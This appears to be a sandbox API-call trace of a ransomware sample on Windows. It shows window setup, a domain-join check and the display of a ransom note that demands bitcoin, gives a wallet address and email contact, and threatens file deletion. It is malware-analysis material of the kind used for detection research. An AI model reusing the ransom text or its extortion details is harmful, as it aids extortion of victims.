[0033.384] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.384] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x55, wParam=0x5018a, lParam=0x3) returned 0x2 [0033.384] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.384] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0033.384] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.384] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x70001, lParam=0x5018a) returned 0x0 [0033.385] GetStockObject (i=17) returned 0x10a0047 [0033.385] SendMessageW (hWnd=0x5018a, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0033.385] GetClientRect (in: hWnd=0x5018a, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0033.385] GetWindowRect (in: hWnd=0x5018a, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0033.385] SetWindowLongPtrW (hWnd=0x5018a, nIndex=-21, dwNewLong=0x7) returned 0x0 [0033.385] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.385] GetDC (hWnd=0x0) returned 0x11010729 [0033.385] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0033.385] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0033.385] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x1b0a06f7 [0033.385] SendMessageW (hWnd=0x5018a, Msg=0x30, wParam=0x1b0a06f7, lParam=0x1) returned 0x0 [0033.385] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.386] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0033.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f430, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f430*=0) returned 1 [0033.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f420, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f420*=0) returned 1 [0033.386] ReadFile (in: hFile=0x194, lpBuffer=0xc80cdb94d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2f460, lpOverlapped=0x0 | out: lpBuffer=0xc80cdb94d0*, lpNumberOfBytesRead=0xc80cb2f460*=0x1b, lpOverlapped=0x0) returned 1 [0033.386] ReadFile (in: hFile=0x194, lpBuffer=0xc80cdb94d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2f460, lpOverlapped=0x0 | out: lpBuffer=0xc80cdb94d0*, lpNumberOfBytesRead=0xc80cb2f460*=0x0, lpOverlapped=0x0) returned 1 [0033.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0033.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f4a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f4a0*=27) returned 1 [0033.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f4a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f4a0*=0) returned 1 [0033.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f3f0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f3f0*=0) returned 1 [0033.386] ReadFile (in: hFile=0x194, lpBuffer=0xc80cdb94d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2f430, lpOverlapped=0x0 | out: lpBuffer=0xc80cdb94d0*, lpNumberOfBytesRead=0xc80cb2f430*=0x1b, lpOverlapped=0x0) returned 1 [0033.386] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc80cd9b740, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0033.386] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xc80cd9b740, cbMultiByte=28, lpWideCharStr=0xc80cd9be80, cchWideChar=28 | out: lpWideCharStr="$1000 = 0.44407866 Bitcoins") returned 28 [0033.387] CloseHandle (hObject=0x194) returned 1 [0033.387] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.387] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0033.387] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.387] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.387] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.387] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0033.387] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.388] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0033.388] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0033.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0033.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xc80cd8cf50, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0033.394] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0033.395] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xc80cb2e378, BufferType=0xc80cb2e3a0 | out: lpNameBuffer=0xc80cb2e378*="WORKGROUP", BufferType=0xc80cb2e3a0) returned 0x0 [0033.410] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0033.412] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 1 [0033.412] TranslateMessage (lpMsg=0xc80cb2ec00) returned 0 [0033.412] DispatchMessageW (lpMsg=0xc80cb2ec00) returned 0xffffffff [0033.412] GetForegroundWindow () returned 0x301cc [0033.412] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0033.412] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.412] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.412] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.412] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0033.412] PeekMessageW (in: lpMsg=0xc80cb2e360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e360) returned 0 [0033.412] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0033.413] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0033.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xc80cd8d010, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0033.419] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0033.419] NetApiBufferSize (in: Buffer=0xc80cd9bf00, ByteCount=0xc80cb2dad8 | out: ByteCount=0xc80cb2dad8) returned 0x0 [0033.419] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0033.420] PeekMessageW (in: lpMsg=0xc80cb2e360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e360) returned 0 [0033.420] PeekMessageW (in: lpMsg=0xc80cb2e360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e360) returned 0 [0033.420] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0033.420] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.420] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.420] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0033.423] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.423] PeekMessageW (in: lpMsg=0xc80cb2ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ec00) returned 0 [0033.423] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.423] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.423] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.423] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.423] PeekMessageW (in: lpMsg=0xc80cb2f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2e0) returned 0 [0033.423] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.423] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="The only way you can recover your files is to buy a decryption key, Please send the mentioned about of money in bitcoins to the following address bitcoin:1rixKVYiwwtDheLLb7QHEmxF4Nb1Xt1Fq or all files will be deleted in 72 hours,,,,,, After payment Please Contact (shadowbroker_1@protonmail.com)\r\nThe payment method is: Bitcoins. The price is: $1000 = 0.44407866 Bitcoins\r\n\r\nClick on the 'Buy decryption key' button.", dwStyle=0x50000804, X=16, Y=456, nWidth=768, nHeight=177, hWndParent=0x5018c, hMenu=0x8, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x201ea [0033.426] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.426] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x80001, lParam=0x201ea) returned 0x0 [0033.426] GetStockObject (i=17) returned 0x10a0047 [0033.426] SendMessageW (hWnd=0x201ea, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0033.427] GetWindowTextLengthW (hWnd=0x201ea) returned 417 [0033.427] SendMessageW (hWnd=0x201ea, Msg=0xb1, wParam=0x1a1, lParam=0x1a1) returned 0x1 [0033.427] GetClientRect (in: hWnd=0x201ea, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0033.427] GetWindowRect (in: hWnd=0x201ea, lpRect=0xc80cb2f340 | out: lpRect=0xc80cb2f340) returned 1 [0033.427] SetWindowLongPtrW (hWnd=0x201ea, nIndex=-21, dwNewLong=0x8) returned 0x0 [0033.427] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.427] GetDC (hWnd=0x0) returned 0x11010729 [0033.427] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0033.427] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0033.427] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x4f0a05bc [0033.427] SendMessageW (hWnd=0x201ea, Msg=0x30, wParam=0x4f0a05bc, lParam=0x1) returned 0x1 [0033.469] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.469] TranslateMessage (lpMsg=0xc80cb2f8f0) returned 0 [0033.469] DispatchMessageW (lpMsg=0xc80cb2f8f0) returned 0xffffffff [0033.469] GetForegroundWindow () returned 0x100bc [0033.469] GetWindowLongPtrW (hWnd=0x100bc, nIndex=-21) returned 0x0 [0033.469] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.469] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0033.469] ShowWindow (hWnd=0x5018c, nCmdShow=5) returned 0 [0033.469] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.469] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0033.469] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.469] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x46, wParam=0x0, lParam=0xc80cb2f890) returned 0x0 [0033.492] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.492] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x46, wParam=0x0, lParam=0xc80cb2f890) returned 0x0 [0033.492] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.492] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0033.492] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0033.492] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.492] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0033.492] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.492] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.492] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0033.494] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.494] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0033.499] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.499] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0033.499] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.499] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.499] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0033.499] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.499] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x8, wParam=0x9001e, lParam=0x0) returned 0x0 [0033.499] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.499] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0033.499] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.499] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0033.500] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.500] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x150105a6, lParam=0x0) returned 0x1 [0033.500] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.500] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.500] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.500] SetBkColor (hdc=0x150105a6, color=0xf0f0f0) returned 0xffffff [0033.500] CreateSolidBrush (color=0xf0f0f0) returned 0x2c100826 [0033.500] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.500] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x47, wParam=0x0, lParam=0xc80cb2f890) returned 0x0 [0033.500] GetForegroundWindow () returned 0x301cc [0033.500] IsIconic (hWnd=0x5018c) returned 0 [0033.500] SetForegroundWindow (hWnd=0x5018c) returned 0 [0033.508] GetWindowThreadProcessId (in: hWnd=0x301cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c0 [0033.508] GetCurrentThreadId () returned 0xb14 [0033.508] GetWindowThreadProcessId (in: hWnd=0x5018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb14 [0033.508] AttachThreadInput (idAttach=0xb14, idAttachTo=0xb14, fAttach=1) returned 0 [0033.508] AttachThreadInput (idAttach=0xb14, idAttachTo=0x7c0, fAttach=1) returned 1 [0033.509] AttachThreadInput (idAttach=0x7c0, idAttachTo=0xb14, fAttach=1) returned 1 [0033.509] SetForegroundWindow (hWnd=0x5018c) returned 1 [0033.509] AttachThreadInput (idAttach=0xb14, idAttachTo=0xb14, fAttach=0) returned 0 [0033.509] AttachThreadInput (idAttach=0xb14, idAttachTo=0x7c0, fAttach=0) returned 1 [0033.509] AttachThreadInput (idAttach=0x7c0, idAttachTo=0xb14, fAttach=0) returned 1 [0033.510] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.510] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.510] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0033.511] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.511] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0033.512] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.512] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0033.513] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.513] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.513] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x20, wParam=0x80020, lParam=0x2000001) returned 0x0 [0033.513] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.513] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.513] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.513] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.513] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.513] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.513] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0033.513] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0033.513] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.513] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x11010729, lParam=0x0) returned 0x1 [0033.514] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.514] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.514] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.514] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0x0 [0033.514] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.514] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x11010729, lParam=0x4) returned 0x0 [0033.514] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.514] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.514] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.514] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.514] BeginPaint (in: hWnd=0x5018c, lpPaint=0xc80cb2f490 | out: lpPaint=0xc80cb2f490) returned 0x150105a6 [0033.514] EndPaint (hWnd=0x5018c, lpPaint=0xc80cb2f490) returned 1 [0033.514] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.514] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x490106dd, lParam=0x0) returned 0x1 [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.515] SetBkColor (hdc=0x490106dd, color=0xf0f0f0) returned 0xffffff [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x490106dd, lParam=0x4) returned 0x0 [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.515] SetBkColor (hdc=0x490106dd, color=0xf0f0f0) returned 0xf0f0f0 [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.515] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.515] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0033.515] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0033.516] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0033.516] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0033.516] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.516] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.531] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.531] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.531] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.531] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0033.531] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0033.531] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.531] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x11010729, lParam=0x0) returned 0x1 [0033.531] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.531] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.531] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.531] SetBkColor (hdc=0x11010729, color=0xf0f0f0) returned 0x0 [0033.531] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.531] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x11010729, lParam=0x4) returned 0x0 [0033.531] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.531] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0033.531] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.531] GetWindowLongPtrW (hWnd=0x80020, nIndex=-21) returned 0x4 [0033.531] GetSysColor (nIndex=15) returned 0xf0f0f0 [0033.531] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0033.531] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0033.532] 